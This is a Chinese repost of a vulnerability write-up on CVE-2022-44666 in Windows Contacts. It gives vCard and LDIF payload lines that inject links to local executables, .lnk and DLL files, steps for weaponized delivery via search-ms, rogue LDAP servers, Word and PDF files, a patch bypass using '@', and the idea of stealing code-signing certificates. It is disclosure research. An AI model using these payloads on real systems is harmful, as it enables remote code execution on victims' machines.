【CVE-2022-44666】为一个被遗忘的Windows漏洞(0day)撰写的文章
作者:Sec-Labs | 发布时间:
项目介绍
为另一个被遗忘的Windows漏洞(0day)撰写的文章。微软Windows联系人(VCF/Contact/LDAP)系统链接控制href属性逃逸,在2022年12月发布的补丁中没有完全修复CVE-2022-44666。
项目地址
https://github.com/j00sean/CVE-2022-44666
Microsoft Windows Contacts (VCF/Contact/LDAP) syslink 控制 href 属性转义漏洞 (CVE-2022-44666) (0day)。
这是John Page(又名 hyp3rlinx) 在 4 多年前完全披露的另一个被遗忘的 0day 的故事 。 要理解该报告,您必须认为我很愚蠢 :-) 我的愚蠢驱使我走更长的路来解决简单的问题,但它也让我想出另一种方法来利用一些错误。 我为什么这么说? 因为我无法快速理解创建 .contact 文件的方法只是浏览到 Contact 文件夹以创建联系人,而不是那样,我使用此信息首先创建了一个 VCF 文件,然后我错误地认为这是某种变体。 那也是因为我的大脑无法理解一些 0days 被遗忘了这么长时间 ¯\ (ツ) /¯ 一旦完成并且在 MSRC的“wontfix”回复之后 和 ZDI ,进一步调查以增加严重性,最终达到 .contact 文件和 Windows url 协议处理程序“ldap”。
细节
- 供应商 :微软。
- 应用程序 :Microsoft Windows 联系人。
- 版本 :10.0.19044.1826。
- 测试系统 :Windows 10 & Windows 11。
- 经过测试的系统版本 :Microsoft Windows [版本 10.0.19044.1826] 和 Microsoft Windows [版本 10.0.22000.795]
介绍
当我阅读 这个漏洞 的利用代码时,它实际上是作为 0day 发布的,并且可以找到 ZDI 的报告 。
2022/07/21 更新 :在向 MS 报告此案例后,MSRC 的人员正确地指出 Windows Contacts 不是打开 VCF 文件的默认程序。

进一步研究仍然表明,在 Win7 ESU & WinServer2019 上 VCF 文件的默认程序是 Windows Contacts (wab.exe),否则使用 MS People (PeopleApp.exe)。 这是此测试的完整表格:
- Windows 7:VCF 文件的默认程序是 Windows Contacts (wab.exe)。
- Windows Server 2019:VCF 文件的默认程序是 Windows Contacts (wab.exe)。
- Windows 10:VCF 文件的默认程序是 MS People (PeopleApp.exe)。
- Windows 10 + MS Office:VCF 文件的默认程序是 MS Outlook (outlook.exe)。
- Windows 11:VCF 文件的默认程序是 MS People (PeopleApp.exe)。
无论如何,他们仍然争辩说其中涉及一些社会工程,例如打开精心制作的 VCF 文件并单击某些链接以利用该错误,因此不符合安全更新的 MSRC 错误栏。

2022/07/25 更新 :好吧,经过进一步研究,它是同一个错误。 我终于找到了 .contact 概念证明。 实际上可以使用 HTML 实体正确解析 .contact 文件。 请注意,这解决了上一个问题( 更新 2022/07/21* ),并且此文件格式 (.contact) 由 Windows 联系人打开,这是此文件扩展名的默认程序,即使系统中安装了 MS Office。 如果尚未完成,它只需要第一个文件关联,但默认安装的唯一程序是 Windows 联系人。*
2022 年 7 月 25 日更新 :这项进一步的研究让我达到了我之前试图达到的目的:使用一些 URL 协议处理程序自动打开精心制作的联系人数据以利用该漏洞。 由于 ldap uri 方案,我终于能够让它工作,默认情况下它与 Windows 联系人应用程序相关联,所以只需设置一个流氓 LDAP 服务器并在邮件、url 或 wwwwhomepage 属性下提供有效负载数据,利用影响就会增加因为现在不需要双击恶意 VCF/Contact 文件,我们可以使用 url 协议来传递它。
2023 年 2 月 8 日更新 :作为 MSRC 的善意姿态, John Page(又名 hyp3rlinx) 已包含在 CVE-2022-44666 发现的确认页面中。

描述
该报告基本上与上面的链接相同,但是我对所涉及的社会工程有所改进。 事实上,我做的第一件事是改进链接的显示方式,就像它是一个 XSS 漏洞一样,它实际上是一个 HTML 注入,因此可以关闭第一个锚元素并插入一个新元素。 然后,我想删除那些 HTML 元素的可见性,因此只需设置尽可能长的“innerHTML”就足以隐藏它们(因为存在字符限制)。
这是最终使用的有效负载:
URL;WORK:"></a><a href="notepad">CLICKMEEEEE...</a>
要观察会发生什么,运行 procmon 并设置一个 href 属性的假目标,如下所示:
URL;WORK:"></a><a href="foo.exe">CLICKMEEEEE...</a>
单击链接后,会在 procmon 中观察到如下输出:

这是第一个“CreateFile”操作的堆栈跟踪:
0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS
1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS
2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS
3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe
4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe
5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe
6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe
7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe
8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe
9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe
10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll
11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll
12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll
13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll
14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll
15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll
16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll
17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll
18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll
19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll
20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll
21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll
22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll
23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
在Shell32!ShellExecuteExW 中设置断点 ,我们可以更清楚地了解所涉及的功能:
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000 wab.exe
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410 mov qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
# Child-SP RetAddr Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
涉及的伪代码是下一个:
_int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4)
{
...
default:
if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
break;
}
}
return 1i64;
}
__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3)
{
const unsigned __int16 *v3; // rbx
HWND v4; // rdi
unsigned int v5; // ebx
BOOL v6; // ebx
__int64 v7; // rdx
OLECHAR *v8; // rax
signed int v10; // eax
DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h]
SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h]
OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]
v3 = a3;
v4 = a1;
memset_0(Dst, 0, 0x1048ui64);
pcchCanonicalized = 2084;
v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0);
if ( (v5 & 0x80000000) == 0 )
{
v6 = UrlIsW(Dst, URLIS_FILEURL);
pExecInfo.hProcess = 0i64;
pExecInfo.hwnd = 0i64;
pExecInfo.lpVerb = 0i64;
_mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64);
*(_OWORD *)&pExecInfo.hInstApp = 0i64;
*(_OWORD *)&pExecInfo.lpClass = 0i64;
*(_OWORD *)&pExecInfo.dwHotKey = 0i64;
if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE
{
v10 = GetLastError();
v5 = (unsigned __int16)v10 | 0x80070000;
if ( v10 <= 0 )
v5 = v10;
}
}
...
}
在此之后,很明显问题实际上涉及 comctl32.dll库中的SysLink控件 以及wab32.dll库如何解析href属性。
不可能使用远程共享位置或 webdavs 来利用它。
URL;WORK:"></a><a href="\\127.0.0.1@80\test\payload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="\\vboxsvr\test\payload.exe">CLICKMEEEEE...</a>
查询文件信息但从未执行。

可以使用相对路径,例如:
URL;WORK:"></a><a href="foo\foo.exe">CLICKMEEEEE...</a>

例子:
URL;WORK:"></a><a href="hidden\payload.exe">CLICKMEEEEE...</a>

更进一步,在将 rundll32 作为攻击向量进行测试时,我注意到无法使用选定有效负载可执行文件的参数。 但是,使用以所选可执行文件为目标的 lnk 文件,可以使用 cmdline 参数。 这有点棘手,但它确实有效。
URL;WORK:"></a><a href="hidden\run.lnk">CLICKMEEEEE...</a>
run.lnk 的目标:
rundll32.exe hidden\payload.bin,Foo"

这看起来更有趣,因为不需要在目标系统中删除可执行文件。
影响
当前用户登录时的远程代码执行。
概念证明
它必须存在文件关联才能使用 Windows 联系人打开 .vcf 文件。
更新 2021/07/25 :对于联系人文件 (.contact),默认情况下只有一个应用程序可以打开它们:Windows 联系人,即使目标系统中安装了 MS Office。
使用位于 ./report-pocs/ 中的文件:
- 双击文件 exploit.vcf ( 2021/07/25 更新 :或双击文件 exploit.contact )。
- 单击其中一个“单击我”链接。
- 它使用不同的执行方式启动 notepad.exe:
- 3.1. 链接 1:运行 .lnk 文件,使用精心制作的库触发 rundll32。
- 3.2. 链接 2:这会触发位于“隐藏”文件夹中作为本地路径的可执行文件的执行。
- 3.3. 链接3:直接。
./videos 中附有几个视频 :
- ./videos/simple-payload.gif :这是下载单个 vcf 文件并触发错误的示例。
- ./videos/full-payload.gif :这是一个更复杂的示例,它下载了一个允许触发所有有效负载的 zip 文件。
这是位于 ./report-pocs/ 中的概念证明文件的摘要:
- ./report-pocs/exploit.vcf :双击它的概念证明。
- ./report-pocs/exploit.zip :要下载的压缩文件,其中包含利用漏洞的所有技巧(视频: full-payload.gif )
- ./report-pocs/hidden/payload.lnk :用于使用 cmdline 参数运行负载的 LNK 文件。
- ./report-pocs/hidden/payload.bin :DLL 负载。 它最终运行 notepad.exe
- ./report-pocs/hidden/payload.exe :可执行负载。 它最终运行 notepad.exe
和文件位于 ./src :
- dllmain.cpp :用作负载的 DLL 库 (payload.bin)。
- payload.cpp :用作有效负载的可执行文件 (payload.exe)。
进一步开发
为了进一步利用并且由于该漏洞不允许加载远程共享位置文件,uri 协议“search-ms”是一个有趣的向量。 您会发现仅触发本地二进制文件(如 calc 或记事本)的概念证明,以及更复杂的概念证明,我将其命名为武器化利用,因为它们不执行本地文件。 这些 pocs 和 exploits 位于 ./further-pocs/ 中。
这是目标应用程序的摘要:
- 浏览器:MS Edge、Google Chrome、Mozilla Firefox 和 Opera。 请注意,在撰写本文时,Mozilla Firefox 禁用了 uri 协议“search-ms” 。
- 女士字。
- PDF 阅读器(主要是 Adobe Acrobat Reader DC 和 Foxit PDF 阅读器)。
为了重现:
- 设置远程共享位置(SMB 或 WebDav)。 将./further-pocs/to-copy-in-remote-shared-location/ 的内容复制 到其中。
- 如果需要,隐藏运行./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat 的文件 。
- 修改位于 ./further-pocs/[vector or target app]/remote-weaponized-by-searchms/ 中的文件 exploit.html/poc.html 以指向您的远程共享位置。
- 在目标应用程序路径中启动一个网络服务器,即:./further-pocs/[vector or target app]/[poc||remote-weaponized-by-searchms]/。
- 根据情况运行 poc/exploit 文件。
- 有关更多信息,请观看位于./videos 中的视频 :
- 6.1. 浏览器的 PoC: ./videos/browsers-poc.gif 。
- 6.2. 针对浏览器的漏洞利用: ./videos/browsers -exploit.gif 。
- 6.3. MS Word 的 PoC: ./videos/msword -poc.gif 。
- 6.4. 针对 MS Word 的漏洞利用: ./videos/msword -exploit.gif 。
- 6.5. PDF 阅读器的 PoC: ./videos/pdfreaders - poc.gif。
- 6.6. 针对 PDF 阅读器的漏洞利用: ./videos/pdfreaders -exploit.gif 。
此外,这些都是供进一步利用的文件:
- ./further-pocs/browsers/poc/KB5014666-hotfix.vcf :执行本地二进制文件的简单负载。
- ./further-pocs/browsers/poc/poc.html :下载 KB5014666-hotfix.vcf 的 HTML 文件。
- ./further-pocs/browsers/remote-weaponized-by-searchms/exploit.html :用于在远程共享位置触发“search-ms”的 HTML 文件。
- ./further-pocs/MSWord/poc/KB5014666-hotfix.vcf :执行本地二进制文件的简单负载。
- ./further-pocs/MSWord/poc/poc.docx :DOCX 格式的 Word 文件,它会触发一个远程模板,也就是 htmlfile activex。
- ./further-pocs/MSWord/poc/poc.rtf :RTF 格式的 Word 文件,它会触发一个远程模板,也就是 htmlfile activex。
- ./further-pocs/MSWord/poc/poc.html :远程模板又名 htmlfile activex。
- ./further-pocs/MSWord/remote-weaponized-by-searchms/exploit.docx :DOCX 格式的 Word 文件,触发远程模板又名 htmlfile activex。
- ./further-pocs/MSWord/remote-weaponized-by-searchms/exploit.rtf :RTF 格式的 Word 文件,它会触发一个远程模板,也就是 htmlfile activex。
- ./further-pocs/MSWord/remote-weaponized-by-searchms/poc.html :远程模板又名 htmlfile activex,它在远程共享位置触发“search-ms”。
- ./further-pocs/PDFreaders/poc/KB5014666-hotfix.vcf :执行本地二进制文件的简单负载。
- ./further-pocs/PDFreaders/poc/poc-vcf.pdf :触发默认浏览器下载并执行 KB5014666-hotfix.vcf 的 PDF 文件。
- ./further-pocs/PDFreaders/remote-weaponized-by-searchms/exploit.html :在远程共享位置触发“search-ms”的 HTML 文件,供 PDF 阅读器使用。
- ./further-pocs/PDFreaders/remote-weaponized-by-searchms/exploit.pdf :触发默认浏览器执行uri协议“search-ms”的PDF。
联系人文件
在从 MSRC收到 更新 2022/07/21 后,我决定查看 Contact 文件扩展名,因为它可以确认它是否与原始发现者发现的情况相同,当然是。 我的第一个概念证明只是使用不同的文件格式,但错误是相同的。 只需使用位于“C:\Program Files\Windows Mail”中的 wabmig.exe 即可将所有 VCF 文件转换为联系人文件。

正如简介更新中提到的,这些文件由 Windows 联系人(默认程序)打开。
重现步骤与用于 VCF 文件的步骤相同。 在 VCF 文件上观察到的相同限制也适用于 Contact 文件,也就是说,不可能为属性“href”使用远程共享位置,但仍然可以使用本地路径或 url 协议“search-ms”。
这些是为利用联系人文件而添加或修改的所有文件:
- ./further-pocs/browsers/poc/KB5014666-hotfix.vcf :使用 VCF 格式执行本地二进制文件的简单负载。
- ./further-pocs/browsers/poc/KB5014666-hotfix.contact :使用 Contact 格式执行本地二进制文件的简单负载。
- ./further-pocs/browsers/poc/poc-vcf.html :下载 KB5014666-hotfix.vcf 的 HTML 文件。
- ./further-pocs/browsers/poc/poc-contact.html :下载 KB5014666-hotfix.contact 的 HTML 文件。
- ./further-pocs/MSWord/poc/KB5014666-hotfix.vcf :使用 VCF 格式执行本地二进制文件的简单负载。
- ./further-pocs/MSWord/poc/KB5014666-hotfix.contact :使用 Contact 格式执行本地二进制文件的简单负载。
- ./further-pocs/PDFreaders/poc/KB5014666-hotfix.contact :使用 Contact 格式执行本地二进制文件的简单负载。
- ./further-pocs/PDFreaders/poc/poc-contact.pdf :下载 KB5014666-hotfix.contact 的 PDF 文件。
- ./further-pocs/to-copy-in-remote-shared-location/KB5001337-hotfix.contact :使用联系人格式在远程共享位置通过“search-ms”执行二进制文件的有效负载。
- ./report-pocs/exploit.contact :与联系人文件格式的 exploit.VCF 相同的文件。
URL 协议 LDAP
如上所述,这项进一步的研究使我达到了我之前试图达到的目的:使用一些 URL 协议处理程序自动打开精心制作的联系人数据以利用该漏洞。 多亏了ldap uri scheme,这个挑战最终得以实现。
...
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\LDAP]
@="URL:LDAP Protocol"
"EditFlags"=hex:02,00,00,00
"URL Protocol"=""
[HKEY_CLASSES_ROOT\LDAP\Clsid]
@="{228D9A81-C302-11cf-9AA4-00AA004A5691}"
[HKEY_CLASSES_ROOT\LDAP\shell]
[HKEY_CLASSES_ROOT\LDAP\shell\open]
[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,\
00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,\
4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,\
00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...
那是:
"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
因此,只需设置一个流氓 LDAP 服务器并提供负载数据,就可以使用此 url 协议处理程序启动 Windows 联系人 (wab.exe),并在 ldif 属性 mail、url 或 wwwwomepage 中带有恶意负载。 请注意,我无法按照 此处 所示对属性“wwwhomepage”执行此操作,但理论上应该可以。
精心制作的 ldif 内容是这样的:
...
dn: dc=org
dc: org
objectClass: dcObject
dn: dc=example,dc=org
dc: example
objectClass: dcObject
objectClass: organization
dn: ou=people,dc=example,dc=org
objectClass: organizationalUnit
ou: people
dn: cn=Microsoft,ou=people,dc=example,dc=org
cn: Microsoft
gn: Microsoft
company: Microsoft
title: Microsoft KB5001337-hotfix
mail:"></a><a href="..\hidden\payload.lnk">Run-installer...</a>
url:"></a><a href="..\hidden\payload.exe">Run-installer...</a>
wwwhomepage:"></a><a href="notepad">Run-installer...</a>
objectclass: top
objectclass: person
objectClass: inetOrgPerson
...
流氓 ldap 服务器的代码是从位于此处的 ldaptor 项目的快速启动服务器借来的 。
这是目标应用程序的摘要:
- 浏览器:MS Edge、Google Chrome、Mozilla Firefox 和 Opera。
- 女士字。
- PDF 阅读器(主要是 Adobe Acrobat Reader DC 和 Foxit PDF 阅读器)。
重现的步骤是:
- 将./further-pocs 复制 到远程共享位置(SMB 或 WebDav)。
- 如果需要,隐藏运行./further-pocs/MSWord/setup-hidden.bat 的文件 。
- 通过 pip 安装 ldaptor:pip install ldaptor。 请注意,这已经在 Python 2.7 x64 上进行了测试。
- 启动位于 ./further-pocs/ldap-rogue-server/ldap-server.py的流氓 ldap 服务器
- 在目标应用程序路径中启动一个网络服务器,即:./further-pocs/[vector or target app]/url-protocol-ldap/。
- 根据情况运行漏洞利用文件。
- 有关更多信息,请观看位于./videos 中的视频 :
- 7.1. 对于浏览器: ./videos/ ldap-browsers-exploit.gif 。
- 7.2. 对于 MS Word: ./videos/ldap -msword-exploit.gif 。
- 7.3. 对于 PDF 阅读器: ./videos/ ldap-pdfreaders-exploit.gif 。
这些是利用 url 协议 ldap 的附加文件:
- ./further-pocs/browsers/url-protocol-ldap/exploit.html :用于在流氓 ldap 服务器上加载 url 协议 ldap 的 HTML 文件,该服务器返回邮件和 url 的精心制作的数据。
- ./further-pocs/MSWord/url-protocol-ldap/poc.html :远程模板又名 htmlfile activex,用于在流氓 ldap 服务器上加载 url 协议 ldap,该服务器返回邮件和 url 的精心制作的数据。
- ./further-pocs/MSWord/url-protocol-ldap/exploit.rtf :RTF 格式的 Word 文件,它会触发一个远程模板,也就是 htmlfile activex。
- ./further-pocs/MSWord/url-protocol-ldap/exploit.docx:DOCX 格式的 Word 文件,它触发远程模板又名 htmlfile activex。
- ./further-pocs/PDFreaders/url-protocol-ldap/exploit.html :用于在流氓 ldap 服务器上加载 url 协议 ldap 的 HTML 文件,该服务器返回邮件和 url 的精心制作的数据。
- ./further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf :触发默认浏览器执行uri协议“ldap”的PDF。
- ./further-pocs/ldap-rogue-server/ldap-server.py :基于 ldaptor 的服务器示例的 Python 脚本,它在 Python 2.7 上运行,并提供精心制作的数据以通过 ldif 属性 mail、url 利用漏洞和 www 主页。
CVE-2022-44666:补丁分析和不完整修复
2022 年 12 月 13 日,Microsoft 发布了针对此漏洞的补丁,编号为 CVE-2022-44666 。
用于比较补丁(位于 C:\Program Files\Common Files\System\wab32.dll)的版本是:
- MD5:588A3D68F89ABF1884BEB7267F274A8B(预补丁)
- MD5:D1708215AD2624E666AFD97D97720E81(补丁后)
通过 @matalaz 将受影响的库 (wab32.dll) 与 Diaphora 进行比较,我们将发现一些新功能:

这些是部分匹配项:

查看函数“fnSummaryProc”中的新代码:
__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{
...
if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) ) // (1)
{
v38 = (unsigned __int16 *)2085;
v39 = &CPercentEncodeRFC3986::`vftable';
v40 = v23;
v41 = v26;
v28 = CPercentEncodeString::Encode(
(CPercentEncodeString *)&v39,
(unsigned __int16 *)&Dst,
(unsigned __int64 *)&v38,
v25);
v29 = v7;
if ( !v28 )
{
v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
SafeExecute(v29, v24, v30); // (2)
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38);
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44; // (3)
}
}
v31 = GetParent(v29);
ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
return 1i64;
}
...
}
修复后,新代码调用函数“SafeExecute”(2) 或显示消息框 (4)。

要调用函数“SafeExecute”(2),可以遵循 (1) 中的代码流程:
_BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn)
{
const WCHAR *v1; // rbx
_BOOL8 result; // rax
DWORD pcchOut; // [rsp+30h] [rbp-68h]
char Dst; // [rsp+40h] [rbp-58h]
v1 = pszIn;
result = 0;
if ( UrlIsW(pszIn, URLIS_URL) ) // (5)
{
memset_0(&Dst, 0, 0x40ui64);
pcchOut = 32;
if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0
&& (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) ) // (6)
{
result = 1;
}
}
return result;
}
该函数首先 在 (5) 中检查 URL 是否有效 ,然后在 (6) 中检查它是否以“http”或“https”开头。 此代码路径看起来足够安全。 回到函数“fnSummaryProc”,还有另一个代码路径可以帮助绕过 (3) 中的修复。
__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
unsigned __int16 v2; // ax
unsigned __int16 **v3; // r14
unsigned __int16 *v4; // rdi
unsigned __int16 *v5; // r15
unsigned __int16 v6; // dx
unsigned __int16 *v7; // r8
unsigned __int16 *v8; // rcx
WCHAR v9; // ax
_WORD *v10; // rsi
int v11; // ebp
LPWSTR v12; // rax
unsigned __int16 *v14; // rax
v2 = *a1;
v3 = a2;
v4 = a1;
v5 = a1;
while ( v2 && v2 != 0x3C )
{
a1 = CharNextW(a1);
v2 = *a1;
}
v6 = *a1;
v7 = a1;
if ( *a1 )
{
v8 = a1 + 1;
v4 = v8;
}
else
{
v8 = v4;
}
v9 = *v8;
v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
v11 = v6 != 0;
if ( *v8 & 0xFFBF )
{
while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
{
if ( v9 == 0x40 ) // (7)
{
v14 = CharNextW(v8);
if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) ) // (8)
return 0i64;
if ( v3 )
{
if ( v10 )
{
*v10 = 0;
TrimSpaces(v5);
}
*v3 = v4;
}
return 1i64;
}
v12 = CharNextW(v8);
v8 = v12;
v9 = *v12;
if ( !v9 )
return 0i64;
}
}
return 0i64;
}
在 (7) 中有一件事引起了我的注意,代码正在检查它是否存在一个字符“@”。 然后,它调用函数“IsDomainName”来检查字符“@”之后的字符串是否为域名:
__int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3)
{
int v3; // edi
int v4; // ebx
int v5; // er9
__int64 v6; // rdx
v3 = a3;
v4 = a2;
if ( !a1 )
return 0i64;
LABEL_2:
v5 = *a1;
if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E )
return 0i64;
while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) )
{
if ( (unsigned __int16)v5 >= 0x80u )
return 0i64;
if ( (unsigned __int16)(v5 - 10) <= 0x36u )
{
v6 = 19140298416324617i64;
if ( _bittest64(&v6, (unsigned int)(v5 - 10)) )
return 0i64;
}
if ( (_WORD)v5 == 46 )
{
a1 = CharNextW(a1);
if ( a1 )
goto LABEL_2;
return 0i64;
}
a1 = CharNextW(a1);
v5 = *a1;
}
if ( v4 )
{
if ( (_WORD)v5 != 0x3E )
return 0i64;
if ( v3 )
*a1 = 0;
}
return 1i64;
}
所以修复的旁路非常简单。 只需要使用一个字符“@”。 像这样的符号链接 href 属性将成功绕过修复:
hidden\@payload.lnk
hidden\@payload.exe
hidden@payload.lnk
hidden@payload.exe
有关更多信息,请观看独立联系人文件 的视频 。

位于./bypass/report-pocs 中的概念证明 。
另一个用于 MS Word 和 LDAP url 协议 。

位于./bypass/further-pocs 中的概念证明 。
补丁发布一天后,此信息被发送到 MSRC。 不幸的是,此案最近已结案,没有更多信息。

Diagcab 文件作为负载
在CVE-2022-30190( 也称为 Follina 漏洞) 和 CVE-2022-34713 (也称为 DogWalk 漏洞) 之后, 由于 @buffaloverflow ,一项 众所周知但被低估的技术 再次重生。 我的伙伴和朋友 Eduardo Braun Prado 给了我在这里使用这种技术的想法。
执行此操作有一些先决条件:
- 目标用户必须属于管理员组。 如果没有,则会出现 UAC 提示。
- diagcab 文件必须经过签名,因此代码签名证书必须已安装在目标计算机中。
真实的攻击场景将通过窃取实际上安装在目标系统中的代码签名证书。 但由于这只是一个概念证明,因此生成了一个自签名代码签名证书并用于对名为@payload.diagcab 的 diagcab 文件进行签名 。
